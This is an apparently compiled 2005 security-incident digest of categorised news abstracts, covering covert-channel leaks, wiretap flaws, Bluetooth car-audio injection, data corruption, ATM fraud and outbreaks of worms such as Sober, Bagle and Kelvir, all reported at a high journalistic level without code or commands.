2005-05-01 **data leakage covert channel PDF classified report accessibility**

RISKS; <http://it.slashdot.org/it/05/05/01/1314216.shtml?tid=172&tid=103>

23

86

ACROBAT PDF FILES WITH "BLACKED-OUT" TEXT ARE READABLE

Bob Blakely III pointed out that using PDF files with blacked-out areas as a medium for preventing restricted information from being read does not work. In the case "of the classified report on the Nicola Calipari/Giuliana Sgrena incident[,] Italian newspaper (Corriere Della Sera) recovered and posted the classified text by performing a 'copy and paste' operation on the blacked-out sections."

Category 11.4 *Covert channels*

2005-09-22 **eavesdropping surveillance inference artificial intelligence data leakage covert channel**

Nature < http://www.nature.com/news/2005/050919/pf/050919-9_pf.html >

KEYBOARD NOISE ALLOWS INFERENCE ABOUT WHAT'S BEING TYPED

Using sophisticated artificial intelligence programs, scientists from UC Berkeley have been able to deduce what people are typing simply from the sounds of the different keys. Doug Tygar and colleagues say that they don't need to study the individual keyboard -- the programs use the differences in sounds of keys on the outer side of the keyboard vs the sounds of the inside keys. The microphones can be outside the room being monitored. Over time, the software gets better, and "Once our algorithm has ten minutes' worth of typed English, it can recover arbitrary text, such as passwords," says Tygar.

<i>Category</i>	<i>11.4</i>	<i>Covert channels</i>
2005-11-03		breach confidentiality data leakage covert channel e-mail accidental release consequences stock exchange user ignorance training

RISKS; <http://tinyurl.com/bu6so>

24

10

DATA LEAKAGE VIA SPREADSHEET SENT BY E-MAIL

Westpac..., a large Australian bank, was forced to halt trading on its shares and deliver its annual profit briefing a day early after it accidentally sent its results by email to research analysts.

A template containing past results was sent to analysts. It was soon discovered that the new figures were embedded in the spreadsheet and were accessible with via "a minor manipulation". Analysts telephoned the bank to report the error and the template was recalled.

But the damage was done. The Australian Stock Exchange was notified and trading was suspended as it appeared that some people had access to information not generally available to the market. The bank then brought forward its results announcement.

[Summary contributed by David Shaw]

Patrick O'Beirne reported that it appears that the critical data were "obscured" by using black shading on the cells involved (!).

Westpac Chief Financial Officer, Philip Chronican, said there was no evidence that the figures had been circulated and there were no signs of disorderly trading in Westpac shares. He added: "It is not just one error, it is a compounding of two or three errors ... We will obviously be conducting a full inquiry to make sure it doesn't happen again."

12.1 Wiretapping

Category 12.1 *Wiretapping*

2005-02-18 **espionage wire tapping optical cable undersea submarine military**

<http://www.cnn.com/2005/US/02/18/submarine.secrets.ap/index.html>

NUCLEAR SUBMARINE WOULD TAP UNDERSEA CABLES?

Intelligence analysts claimed that the new USS Jimmy Carter nuclear submarine would include equipment for tapping undersea cables, including fiber-optic cables, in addition to the usual complement of SIGINT equipment for radio communications interception.

Category 12.1 *Wiretapping*

2005-11-30 **wiretapping unreliable study law enforcement warrants implications Matt Blaze**

RISKS; <http://www.iht.com/articles/2005/11/30/business/taps.php> 24 11

STUDY: WIRETAPPING NOT RELIABLE

A *New York Times* article discussed a study about the flaws of wiretapping done by Matt Blaze, a professor at the University of Pennsylvania. The study found that, using off-the-shelf equipment, it was possible to subvert law enforcement and other wiretapping by stopping the recorder remotely and falsifying the numbers dialed. Prof. Blaze noted, "This has implications not only for the accuracy of the intelligence that can be obtained from these taps, but also for the acceptability and weight of legal evidence derived from it".

The original article includes the following interesting detail (quoted):

* According to the Justice Department's most recent wiretap report, state and U.S. Courts authorized 1,710 "interceptions" of communications in 2004.

* To defeat wiretapping systems, the target need only send the same "idle signal" that the tapping equipment itself sends to the recorder when the telephone is not in use. The target could continue to have a conversation while sending the forged signal.

* The tone, also known as a C-tone, sounds like a low buzzing and is "slightly annoying," Blaze said, "but would not affect the voice quality" of the call."

[Abstract by Karthik Raman and MK]

12.3 Injection

Category 12.3

Injection

2005-08-09

bluetooth wireless communications insertion attack automobile car radio fraud fake message alerts

RISKS; http://trifinite.org/trifinite_stuff_carwhisperer.html

24

01

INJECTION ATTACKS ON CAR AUDIO

Martin Herfert of the Car Whisperer project created a proof-of-concept device called "Car Whisperer" that allows hackers to inject audio into Bluetooth-equipped vehicles. Part of the summary is as follows:

>The carwhisperer project intends to sensibilise manufacturers of carkits and other Bluetooth appliances without display and keyboard for the possible security threat evolving from the use of standard passkeys.

A Bluetooth passkey is used within the pairing process that takes place, when two Bluetooth enabled devices connect for the first time. Besides other public data, the passkey is a secret parameter used in the process that generates and exchanges the so-called link key. In Bluetooth communication scenarios the link key is used for authentication and encryption of the information that is exchanged between the counterparts of the communication.

The cw_scanner script is repeatedly performing a device inquiry for visible Bluetooth devices of which the class matches the one of Bluetooth Headsets and Hands-Free Units. Once a visible Bluetooth device with the appropriate device class is found, the cw_scanner script executes the carwhisperer binary that connects to the found device (on RFCOMM channel 1) and opens a control connection and connects the SCO links.

The carwhisperer binary connects to the device found by the cw_scanner. The passkey that is required for the initial connection to the device is provided by the cw_pin.pl script that replaces the official Bluez PIN helper (graphical application that usually prompts for the passkey). The cw_pin.pl script provides the passkey depending on the Bluetooth address that requests it. Depending on the first three bytes of the address, which references the manufacturer, different passkeys are returned by the cw_pin.sh script. In quite a few cases the preset standard passkey on headsets and handsfree units is '0000' or '1234'.

Once the connection has been successfully established, the carwhisperer binary starts sending audio to, and recording audio from the headset. This allows attackers to inject audio data into the car. This could be fake traffic announcements or nice words. Attackers are also able to eavesdrop conversations among people sitting in the car.<

Herfert adds, "In order to avoid getting attacked by carwhisperer, manufacturers should not use standard passkeys in their Bluetooth appliances. Moreover, there should be some kind of direct interaction with the device that allows a device to connect. Another recommendation would be to switch the handsfree unit to invisible mode, when no authorized device connects to it within a certain time."

13.1 Data diddling

<i>Category</i>	<i>13.1</i>	<i>Data diddling</i>				
2005-04-10		road construction message board criminal hacker joke prank speed limit				
RISKS; http://tinyurl.com/8xw8g			23		84	
MICHIGAN ROADSIGN BOARD HACKED						

Drivers on southbound Interstate 75 in Michigan saw a construction message board that previously had been alerting drivers in Genesee County near Clio that construction was soon to start. One morning it said "speed limit 100 mph go go go." (The speed limit in that area is 70 mph. The sign is controlled remotely by a subcontractor's computer.) [Abstract by Peter G. Neumann]

<i>Category</i>	<i>13.1</i>	<i>Data diddling</i>				
2005-07-22		Linux zlib buffer overflow data streams overflow execution				
DHS IAIP Daily; http://www.linuxsecurity.com/content/view/119860						
ZLIB BUFFER OVERFLOW. ZLIB IMPROPERLY HANDLES INVALID DATA STREAMS WHICH COULD LEAD TO A BUFFER OVERFLOW						

By creating a specially crafted compressed data stream, attackers can overwrite data structures for applications that use zlib, resulting in arbitrary code execution or a Denial of Service. There is no known workaround at this time.

13.2 Data corruption & destruction

Category 13.2

Data corruption & destruction

2005-03-03

GFI security firm accidental data loss customer e-mail deletion free upgrades compensation BitDefender MailSecurity

DHS IAIP Daily; <http://news.zdnet.co.uk/0,39020330,39189933,00.htm>

SECURITY FIRM DELETED CUSTOMERS' E-MAILS

An e-mail security scanning company has accidentally deleted thousands of its customers' e-mails. GFI is now offering free upgrades to all its customers after it deleted their e-mails by sending out incorrect update information. According to GFI, the problem occurred because of a change in BitDefender's technology, one of the products that GFI uses for its e-mail scanning. When the GFI MailSecurity update mechanism tried to install BitDefender updates on customer networks, the service started to delete all e-mails by default. BitDefender and GFI then rolled back the updates. GFI has promised all customers a free upgrade to its MailSecurity 9 product, which is available in two months. The company has also released a tool that can tell customers which e-mails were deleted and when.

Category 13.2

Data corruption & destruction

2005-04-19

software quality assurance Web sales supervision approval error glitch bug contractual obligation financial loss integrity

RISKS; <http://tinyurl.com/ahal9>

23

85

US AIRWAYS HONORS 1,000 TICKETS AT \$1.86 DUE TO COMPUTER GLITCH

A computer error forced the bankrupt airline US Airways to sell over 1,000 tickets on the Web to people who payed \$1.86 for each of them in mid-April 2005. News got out fast on the Web and some buyers bought ore than a dozen tickets simply to be able to swell their frequent-flyer miles for later use. US Airways honored all its contractual obligations despite the enormous cost.

Category 13.2

Data corruption & destruction

2005-07-11

medical database laboratory results data integrity corruption mixup confusion error tests treatments

RISKS; <http://www.canada.com/calgary/calgaryherald/index.html>

23

94

MEDICAL LAB DATABASE CORRUPTION AFFECTS 2,000 PATIENTS

[A] web database used by the Calgary Health Region to track and distribute results of lab tests has suffered a "glitch". According to the article that appeared today, "The Calgary Health Region announced Sunday that an Internet database - which physicians use to view lab work such as blood and urine tests - mixed up results between patients and posted records under the wrong names. Officials are now contacting the offices of nearly 400 doctors and other health providers who saw the incorrect records, to ensure patients are receiving proper treatment." Doctors are concerned that the mix-up means some patients are now receiving incorrect treatments which can complicate their conditions, or that patients are receiving treatments they don't need. Additionally, some patients may be fretting needlessly over their lab results because of the mix-up while others may be in for some unpleasant surprises when they receive the correct results.

[Abstract (lightly edited by MK) by R. A. Tremonti]

Category 13.2 Data corruption & destruction
2005-08-09 **software quality assurance QA data loss corruption integrity version control regression testing**

RISKS; <http://www.heise.de/newsticker/meldung/62595> (in German) 24 01
GERMAN SOCIAL SERVICES SOFTWARE DROPS CHANGES

The online computer news service heise.de reports that an error in the software system A2LL, which computes welfare and jobless subsidies as well as administering the system, has dropped over 100,000 changes that should have been reported to health insurance providers.

New registrants, people going off welfare, address changes and the like were registered with the system and then the changes were automatically rescinded. The error cropped up after a new version of the software was installed on the central servers. [Perhaps they installed a test system by mistake that just pretends to accept changes? -dww]

The missed changes will not affect the insurance status of the people involved, but staff at the insurance companies must take care of all of the changes by hand.

[Abstract of German original by Debora Weber-Wulff]

Category 13.2 Data corruption & destruction
2005-11-09 **software quality assurance testing accounting error financial report**

RISKS; <http://tinyurl.com/djshs> 24 09
ACCOUNTING SOFTWARE BUG CAUSES \$220M ERROR

"Freddie Mac will reduce its profit for the first half of 2005 by \$220 million because of an error caused by faulty accounting software, the mortgage finance company said yesterday. ... The error stems from a flaw in the accounting program Freddie Mac has used since 2001. In a recent review of the company's accounting system, Freddie Mac employees realized the software was routinely overstating the amount of interest that the housing finance company earned from certain types of mortgage-backed securities that it bought for investment purposes, spokesman Michael Cosgrove said."

[Contributed by Jeremy Epstein]

13.3 Embezzlement

Category 13.3

Embezzlement

2005-10-21

bank fraud identification authentication I&A personal identification numbers PINs
insider crime fraud theft embezzlement test accounts algorithms inference lawsuits

RISKS; http://www.theregister.co.uk/2005/10/21/phantoms_and_rogues/

24

08

CONVOLUTED TALE OF THE GHOST WITHDRAWALS

Charles Arthur reported in *The Register* on a fascinating case of incompetence and criminality in the British banking system. In "How ATM fraud nearly brought down British banking" he tell of how junior barrister (lawyer) Alistair Kelman discovered in the early 1990s that

* Thousands of people were being charged for withdrawals from their bank accounts that they did not make ("ghost withdrawals").

* Banks denied the possibility of error or fraud until experts such as Prof Ross Anderson of Cambridge University convinced the courts that the claim of infallibility was nonsense.

* There were thousands of cards which delivered money without deducting it from the owner's account -- they were actually using dummy accounts created by the programmers.

* Rogue programmers at a particular bank altered the PIN-generator to create only 3 unique PINs for all bank cards -- allowing them to steal money from any account at will.

This last discovery was very serious indeed:

>This "gave me major concern," says Kelman. "The security of the entire ATM network upon which the UK banking system was based was predicated on nobody knowing your PIN." He could see that if this reached the media, people would begin comparing PINs, and on finding identical ones would tell others, and the security system used by the banks would collapse overnight. Then there would be a dramatic run on the banks ... as everyone tried to take their money to a safer place, such as under the mattress.

And there wasn't time for the banks to fix the problem if anyone went public with it. Their MTBU was too short. MTBU? That's "Maximum Time to Belly Up", as coined by the majestic Donn Parker of Stanford Research Institute. He found that businesses that relied on computers for the control of their cash flow fell into catastrophic collapse if those computers were unavailable or unusable for a period of time. How long? By the late 1980s it had fallen from a month to a few days. That's not a good thing; it meant that a collapse of the computers that any UK clearing bank relied on would destroy it in less than a week.<

Just as Kelman was about to reveal the fatal vulnerability in a secret meeting of bank security experts in June 1993, he was dismissed by his last clients, losing the legal right to intervene in the issue. He kept quiet for more than 10 years, hoping that no one else would discover this dreadful vulnerability.

>"Fortunately for the UK banking system and the British people, nobody else did discover what I found about the activities of the Rogue Bank," Kelvin notes. Two years later, though, he had corroboration of what he had learnt: "the computing staff at the [Rogue] bank were completely out of control and engaged in multiple frauds."<

[Pointer to article contributed to RISKS by Andrew King; summary by MK using extracts from original article.]

14.1 Viruses

Category 14.1 *Viruses*

2005-01-06 **Microsoft enter antivirus market anti-spyware technology release Windows XP Update Automatic**

DHS IAIP Daily; <http://www.pcworld.com/news/article/0,aid,119197,00.asp>

MICROSOFT TO ENTER THE ANTIVIRUS MARKET

Microsoft announced Thursday, January 6, the release of anti-spyware technology and said it would begin giving away an improved tool to remove worms and viruses from its customers' computers. While the free antivirus and virus removal tools are not an immediate threat to the products from competing companies, the releases could signal tougher times ahead for desktop security vendors, as Microsoft uses its size and influence to expand into markets now dominated by those companies, industry experts say. A spokesperson for Microsoft's Security Business & Technology Unit, says that spyware is a major concern for Microsoft customers, who are looking to the company for help. Spyware accounts for more than one-third of software program crashes on Windows XP that are reported to the company. Microsoft also says that it is releasing a free malicious-software removal tool that consolidates earlier software tools for eradicating the Blaster, MyDoom, and Sasser worms, and that will be updated each month to detect and remove other threats as they appear. Windows customers will be able to receive the malicious-code removal tool through Windows Update and the Windows Automatic Update features.

Category 14.1 *Viruses*

2005-01-31 **new virus anti-virus antivirus attack technique bypass filter ZIP RAR .zip .rar file compression algorithm**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1759,1756636,00.asp>

NEW VIRUS ATTACK TECHNIQUE BYPASSES FILTERS

Administrators and service providers have begun seeing virus-infected messages with a new type of attachment hitting their mail servers: an .rar archive. .Rar files are similar to .zip files in that they are containers used to hold one or more compressed files. The .rar format is not as widely known as .zip, but it is used for a number of tasks, including compressing very large files, such as music and video. Many of the messages in .rar virus e-mail are invitations to view pornographic content, which is part of the reason for the viruses' success, experts say. .Rar's compression algorithm is 30 percent more efficient than .zip technology. One recent .rar virus that appeared at the end of last week is disguised as a patch from Microsoft. Anti-virus vendors have acknowledged the presence of viruses delivered as .rar files and are working to develop tools to identify and eradicate the malware.

Category 14.1 *Viruses*

2005-02-22 **Federal Bureau Investigation FBI warning computer virus fbi.gov address Internet Fraud Complaint Center**

DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/articles/A45131-2005Feb22.html>

FBI OFFICIALS WARN ABOUT COMPUTER VIRUS

The FBI warned Tuesday, February 22, that a computer virus is being spread through unsolicited e-mails that purport to come from the FBI. The e-mails appear to come from an fbi.gov address. They tell recipients that they have accessed illegal Websites and that their Internet use has been monitored by the FBI's "Internet Fraud Complaint Center," the FBI said.

<i>Category</i>	<i>14.1</i>	<i>Viruses</i>
2005-02-24		malware virus alert Web site government notification notice news users vulnerability social engineering exploit
RISKS; http://news.bbc.co.uk/1/hi/technology/4291005.stm	23	75
UK GETS OFFICIAL VIRUS ALERT SITE		

Chris Leeson relayed information from a BBC News report that "The UK government is setting up a Virus Alert site to warn users of viruses, vulnerabilities and so on. It is aimed at home and small business users. . . It is expected to issue between six and ten alerts a year, concentrating on the most major problems. It will not provide patches, but will point the user to where the patches can be downloaded. It is also made clear that the site is not a panacea or a substitute for proper AV and Firewall provision."

However, Leeson warned,

>Alas, there remains a number [of] problems:

1. This would be a great site for the Malware Brigade to spoof. I hope that it is more secure than most Web Sites.
2. They are concentrating on the most serious threats. Understandable, but even the "less serious" threats can be trouble.
3. Most PC users are simply not interested in PC Security and won't be convinced that they have to be. The new users may well not realise that they are exposed at all. (I am a little sore about this having just spent three days trying to salvage someone's XP system after the PC had spent two weeks on Broadband without Firewall or AV...)<

<i>Category</i>	<i>14.1</i>	<i>Viruses</i>
2005-05-18		computer virus German election influence ring wing hacktivism Trojan Horse
DHS IAIP Daily; http://www.iht.com/articles/2005/05/17/business/virus.php		
COMPUTER VIRUS MAY BE AIMED AT GERMAN ELECTION		

The creator of a computer Trojan horse that unleashed a torrent of far-right spam e-mail messages in Germany on Tuesday, May 17, may be trying to influence the outcome of the election Sunday, May 22, in North Rhine-Westphalia, a German software expert said. Computers infected with the so-called Sober.q Trojan horse unwittingly sent thousands of spam e-mails bearing links to the Website of the National Democratic Party (NPD), a party that espouses "Germany for Germans," the death penalty for some drug dealers and an end to asylum-seeker rights. "This is most likely connected to the election coming up on Sunday," said Christoph Hardy, a spokesperson for the German unit of Sophos, a British anti-virus software company. "It was probably generated by someone who is sympathetic to the far-right, trying to create anger and a protest vote in Sunday's election." Sober.q was reported to have spread widely around Europe and also to have infected computers in the United States and Asia. The originator of the Trojan horse was most likely German because the programming language used to create the Trojan horse was German, as was the language in the e-mail.

<i>Category</i>	<i>14.1</i>	<i>Viruses</i>
2005-06-03		virus Osama bin Laden e-mail junk attachment Microsoft Windows solution upgrade Windows
DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4607203.stm		
FAKE OSAMA BIN LADEN E-MAILHIDES VIRUS		

Users are being warned not to open junk e-mail messages claiming Osama bin Laden has been captured. The messages claim to contain pictures of the al Qaeda leader's arrest but anyone opening the attachment will fall victim to a Microsoft Windows virus. Since June 1, anti-virus companies have been catching the junk mail messages in large numbers. Anyone opening the attachments or visiting the Website will get a version of the Psyme trojan installed on their PC. The vulnerability exploited by Psyme is found in Windows 2000, 95, 98, ME, NT, XP and Windows Server 2003. Users are urged to update their version of Windows to close the loophole.

Category 14.1 Viruses

2005-06-09 **new virus vulnerability scanner hacker methods botnets**

DHS IAIP Daily; <http://www.newscientist.com/article.ns?id=dn7500>

NEW TYPE OF VIRUS SCANS NETWORKS FOR VULNERABILITIES

An emerging breed of computer virus that keeps hackers informed about the latest weaknesses in computer networks has been discovered by security experts. The viruses infect a computer network, scan for security vulnerabilities and then report back to hackers through an Internet chatroom. Armies of computers infected with "bot" viruses are routinely controlled via a chatroom connection and are used to knock for denial of service attacks or as a conduit for sending out spam e-mail. However, the ability of some bots to scan their hosts for unpatched security holes and report their findings back to hackers has gone largely unnoticed until now. The emerging class of malware or malicious software - known as vulnerability assessment worms - "phone home" to allow hackers to fine-tune further attacks or perhaps even target an individual PC within a network. This pernicious form of program is just one of a growing number of new viruses identified each month, says computer security expert Bruce Schneier. "The virus trend doesn't look good," Schneier writes in the June 2005 edition of the Association for Computing Machinery journal, Queue. "More than a thousand new worms and viruses were discovered in the last six months alone."

Category 14.1 Viruses

2005-07-29 **virus writer targets anti-virus companies Sophos Symantec McAfee**

DHS IAIP Daily;
<http://www.techweb.com/showArticle.jhtml?articleID=166403862>

VIRUS WRITER TARGETS ANTI-VIRUS VENDORS

A virus writer apparently seeking notoriety instead of financial gain has released malicious code that ridicules anti-virus vendors and Sasser worm author Sven Jaschan, a security firm said Friday, July 29. The Lebreat-D virus, which is rated a low threat, creates in infected computers a JPEG image file of Jaschan, a German teenager recently convicted of authoring the widespread Sasser and Netsky worms, Sophos Plc said. The Lebreat worm, which is spread through email attachments and exploits a Microsoft security vulnerability, opens a backdoor to an infected Windows computer, enabling a hacker to gain control. The virus indicates that a denial of service attack could be planned against security vendors Symantec Corp. and McAfee Inc., but doesn't say when, Sophos said.

Category 14.1 Viruses

2005-09-22 **PC phone crossover virus Trojan Symbian 60 operating system OS Bluetooth propagation**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2142665/first-pc-phone-crossover-virus>

FIRST PC/PHONE CROSSOVER VIRUS FOUND

The first mobile phone virus capable of infecting a computer has been found. Experts at have detected the Cardtrp worm that affects handsets running the Symbian 60 operating system. This work spreads via Bluetooth and MMS but could also spread through memory cards. Mikko Hypponen, chief research officer at F-Secure, said: "The goal of this backdoor Trojan is most likely to cause the user to infect his PC when he is trying to disinfect his phone."

Category 14.1 Viruses

2005-10-04 **BBC News criminals victims spyware data viruses information MessageLabs**

DHS IAIP Daily; <http://news.bbc.co.uk/2/hi/technology/4306048.stm>

WEB HELPS CRIMINALS TRAP VICTIMS

Statistics have shows that criminals are using spyware to get hold of personal data they can sell or use themselves. This is a shift from e-mailed viruses that were sent to steal this valuable information. According to Mark Sunner, chief technology officer at MessageLabs, "More and more malicious code is appearing in web traffic as opposed to e-mail."

Category 14.1 *Viruses*

2005-11-01 **hacker virus e-mail computer hijacking botnets avian flu information social engineering**

DHS IAIP Daily;
http://news.yahoo.com/s/nm/20051101/od_uk_nm/oukoe_uk_crime_birdflu_hackers;_ylt=AiSkjGPhKv3hc6uuQZYRAPes0NUE;_ylu=X3oDMTA3NW1oMDRpBHNIYwM3NTc-

HACKERS USE BIRD FLU E-MAILS TO HIJACK COMPUTERS

Computer hackers are exploiting fears about avian flu by releasing a computer virus attached to an e-mail that appears to contain avian flu information. According to Panda Software, the virus Naiva. A masquerades as a word document with e-mail subject lines such as "Outbreak in North America" and "What is avian influenza (bird flu)?" When the file is opened, the virus modifies, creates, and delete files. The virus also installs a program that allows hackers to gain remote control of infected computers. The virus spreads through e-mails, Internet downloads, and file transfers.

Category 14.1 *Viruses*

2005-12-01 **biggest virus attack outbreak November 2005 Sober FBI CIA messages social engineering**

DHS IAIP Daily;
<http://www.techweb.com/wire/security/174403317;jsessionid=0EZ1TE0ZK20WWQSNDBGCKHSCJUMEKJVN>

SOBER ATTACK BIGGEST VIRUS OUTBREAK EVER

Apparently, messages from the Federal Bureau of Investigation and Central Intelligence Agency are the way to spread worms, a security firm said Thursday, December 1, as it tallied up Sober's wildfire spread during November and concluded that the outbreak was the biggest ever. E-mail security provider Postini said that it had quarantined more than 218 million Sober-infected messages last week, more than four times the 50 million-message average that it blocks in a run-of-the-mill month. "This Sober generated close to a 1,500 percent increase in virus infected e-mail traffic in the past week," said Scott Petry, vice president of products and engineering at Postini, in a statement. Petry also said that Sober's attack was twice as large as the largest previous on Postini's records. Other security vendors took note of the recent Sober -- the variant is dubbed Sober.x, Sober.y, or Sober.z by most anti-virus firms -- and its impact during November. Both Sophos and Fortinet, for instance, had the new Sober at the top of their November charts as well.

14.2 Worms

Category 14.2

Worms

2005-01-17

virus worm masquerading Tsunami disaster donation hoax mass mailer

DHS IAIP Daily; <http://www.sophos.com/virusinfo/articles/vbsuna.html>

TSUNAMI DISASTER DONATION E-MAIL PLEA IS REALLY A VIRUS

Virus experts at Sophos have discovered a mass-mailing worm that poses as a plea for donations to help with the Indian Ocean tsunami disaster. The W32/VBSun-A worm spreads via e-mail, tempting innocent users into clicking onto its malicious attachment by pretending to be information about how to donate to a tsunami relief effort. However, running the attached file will not only forward the virus to other internet users but can also initiate a Denial of Service attack against a German hacking website. E-mails sent by the worm have the subject line: "Tsunami Donation! Please help!" Although there have only been a small number of reports of the W32/VBSun-A worm, Sophos recommends computer users ensure their anti-virus software is up-to-date.

Category 14.2

Worms

2005-01-21

worm Crott-A CNN headline masquerading Trojan Horse installation keystroke logger mailer anti-virus update

DHS IAIP Daily; <http://www.sophos.com/virusinfo/articles/newsheadline.html>

NEW WORM POSES AS BREAKING NEWS HEADLINES FROM CNN

Virus researchers have identified a new worm which poses as information on the latest news stories. Crott-A(W32/Crott-A) takes its subject lines, message content and attachment names from headlines gathered in real-time from the CNN Website. It attempts to send itself by e-mail to addresses found on infected computers. Crott-A's subject line and attachment share the same name, but continually change to mirror the front-page headline on the CNN news site. Crott-A also installs a backdoor Trojan function that attempts to log keystrokes on infected PCs and sends gathered data to a remote user. These Trojans are often used by hackers to gain unauthorized control of PCs and to steal personal information such as bank passwords. Companies and individuals are urged to secure their desktop and servers with automatically updated anti-virus protection.

Category 14.2

Worms

2005-01-27

MySQL worm Microsoft Windows infection common password attack bot software

DHS IAIP Daily;

http://news.com.com/MySQL+worm+hits+Windows+systems/2100-734_9_3-5553570.html?tag=nl

MYSQL WORM SPREADS AMONG WINDOWS SYSTEMS

A worm that takes advantage of administrators' poor password choices has started spreading among database systems. The malicious program, known as the "MySQL bot" or by the name of its executable code, SpoolCLL, infects computers running the Microsoft Windows operating system and open-source database known as MySQL. Early indications suggest that more than 8,000 computers may be infected so far. The worm gets initial access to a database machine by guessing the password of the system administrator, using common passwords. It then uses a flaw in MySQL to run another type of program, known as bot software, which then takes full control of the system.

Category 14.2

Worms

2005-01-27

Bagle worm variants spreading rapidly Internet Trojan Horse backdoor code execution attack peer-to-peer P2P

DHS IAIP Daily; <http://www.internetnews.com/security/article.php/3465321>

NEW VERSIONS OF BAGLE WORM SPREADING RAPIDLY

Security firms are reporting on the emergence of new Bagle virus variants that are proliferating in the wild. There are likely two different variants that are new, experts said. Many security firms have raised the threat level for the variants from moderate to severe or critical, as more instances of the rapidly spreading worm are reported. The Bagle worm contains a Trojan backdoor that allows a remote user to execute arbitrary code on the infected PC. In addition to having its payload distributed via an e-mail attachment, the latest variants are also proliferating via peer-to-peer (P2P) applications as well. Instead of random subject names for e-mail, the polymorphic worm creates random file names of popular applications.

Category 14.2

Worms

2005-03-01

worm Bagle variant spread Internet mass mailing Trojan Horse antivirus vendor report ZIP attachment

DHS IAIP Daily; http://news.com.com/Watchdog-attacking+Bagle+ramps+up/2100-7_349_3-5594201.html?tag=nefd.top

NEW BAGLE VARIANT RAMPS UP

A new variant of Bagle is spreading rapidly, security companies have warned. Rather than a mass-mailing worm, BagleD1-L is a Trojan horse that damages security applications and attempts to connect with a number of Websites. It has been sent via spam lists to millions of addresses in the past 12 hours, said security company McAfee, which has upgraded it to a "medium" risk. The new variant could also have boosted overall Bagle traffic, which has increased five times in the past 24 hours, e-mail security vendor Postini said Tuesday, March 1. According to antivirus companies F-Secure and Sophos, the Websites linked to by the new Bagle currently contain no malicious code. However, Trojan and worm writers have been known to add malicious code to a Website after the initial attack has calmed down. For this Trojan to work, users must manually open a ZIP-file attachment that displays the programs "doc_01.exe" or "prs_03.exe," which must be run manually to infect a computer.

Category 14.2

Worms

2005-03-07

first mobile messaging worm antivirus vendor report Symbian Series 60 F-Secure address book

DHS IAIP Daily; <http://www.pcworld.com/news/article/0,aid,119918,00.asp>

ANTIVIRUS COMPANIES REPORT FIRST MOBILE MESSAGING WORM

The first mobile-phone virus that spreads using the popular Multimedia Messaging Service (MMS) is circulating among Symbian Series 60 mobile phones, antivirus companies have warned. Antivirus vendors first spotted the new virus, dubbed CommWarrior.A, on Monday, March 7. When an infected attachment is opened, the virus places copies of itself on vulnerable mobile phones and uses the phone's address book to send copies of itself to the owner's contacts using MMS. Antivirus experts believe CommWarrior, which has been spreading slowly among cell phone users since January, is not a serious threat. However, the virus could herald a new age of malicious and fast-spreading cell phone threats, according to Mikko Hypponen of F-Secure Corporation. MMS is a popular text messaging technology that allows mobile phone users to send multimedia content, such as sound files or photos, between MMS-compliant mobile phones.

Category 14.2

Worms

2005-04-14

Kelvir worm Reuters instant messaging system IM attack shut down denial of service DoS

DHS IAIP Daily;

http://news.com.com/Worm+attack+forces+Reuters+IM+offline/21_00-7355_3-5671139.html?tag=nefd.top

WORM ATTACK FORCES REUTERS INSTANT MESSAGING OFFLINE

Reuters has shut down its instant messaging (IM) system after suffering an onslaught from a new Kelvir worm, the company confirmed Thursday, April 14. The London-based international media company decided to take its Reuters Messaging system completely offline after noticing the attack on its network earlier on Thursday. The new variant attempted to spread by sending fake instant messages to people in contact lists on infected systems. The messages, crafted to look exactly like legitimate IM correspondence, attempted to lure people to a Website where their computers would be infected with Kelvir. Unlike the free IM software marketed by America Online, Microsoft and Yahoo, Reuters Messaging was created as a corporate tool, closed off from public subscribers and for internal company use only. But in recent years, the company has moved to connect its consumers with those networks. Technical workers at Reuters said they believe the new Kelvir attack could also target other IM systems. No other companies with messaging software had reported such a threat as of midday Thursday, however.

Category 14.2 Worms

2005-06-15

new worm AOL Instant Messaging IM AIM

DHS IAIP Daily; http://news.com.com/New+worm+hits+AIM+network/2100-7349_3-57_48646.html

NEW WORM HITS AOL INSTANT MESSAGING NETWORK

A new worm spread quickly on America Online's AIM instant messaging service Wednesday afternoon, June 15, but was contained within hours, experts said. The worm spread in instant messages with the text: "LOL LOOK AT HIM" and included a Web link to a file called "picture.pif." If that file was downloaded and opened, the worm would send itself to all contacts on the victim's AIM Buddy List, according to representatives from IM security companies Facetime and IMlogic. Both IMlogic and Facetime were investigating the picture.pif file to determine exactly what it does. Facetime and IMlogic received several inquiries on the worm, signaling that it was widespread. The worm hit employees at Hewlett-Packard and prompted tech support at the company to send out an alert to employees. The worm is the latest in an increasing number of cyberthreats that use instant messaging to attack Internet users. Just as with attachments and links in e-mail, instant message users should be careful when clicking on links that arrive in instant messages--even messages from people they know, experts have warned.

Category 14.2 Worms

2005-08-04

worm activity behavior dodge Net traps intrusion sensors

DHS IAIP Daily; http://news.zdnet.com/2100-1009_22-5819293.html

WORMS COULD DODGE NET TRAPS

In a pair of papers presented at the Usenix Security Symposium in Baltimore, MD, Thursday, August 4, computer scientists said would-be attackers can locate such sensors, which act as trip wires that detect unusual activity. Internet sensor networks are groups of machines that monitor traffic across active networks and chunks of unused IP space. The sensor networks generate and publish statistical reports that permit an analyst to track the traffic, sniff out malicious activity and seek ways to combat it. The locations of the Internet sensors are kept secret. In a paper titled "Mapping Internet Sensors with Probe Response Attacks," a team of computer scientists from the University of Wisconsin discovered that the sensor maps furnish just enough information for someone to create an algorithm that can map the location of the sensors. All an attacker would have to do is throw packets of information at IP addresses and then check to see whether the activity showed up on the sensor reports. Researchers from Japan came to a similar conclusion in a paper titled "Vulnerabilities of Passive Internet Threat Monitors." The threat could be diminished, both studies said, if the information in the networks' public reports was less detailed.

Category 14.2 Worms

2005-08-14

worm attack Microsoft Plug and Play vulnerability Windows XP

DHS IAIP Daily; <http://www.securityfocus.com/news/11281>

WORM SPREADING THROUGH MICROSOFT PLUG-AND-PLAY FLAW

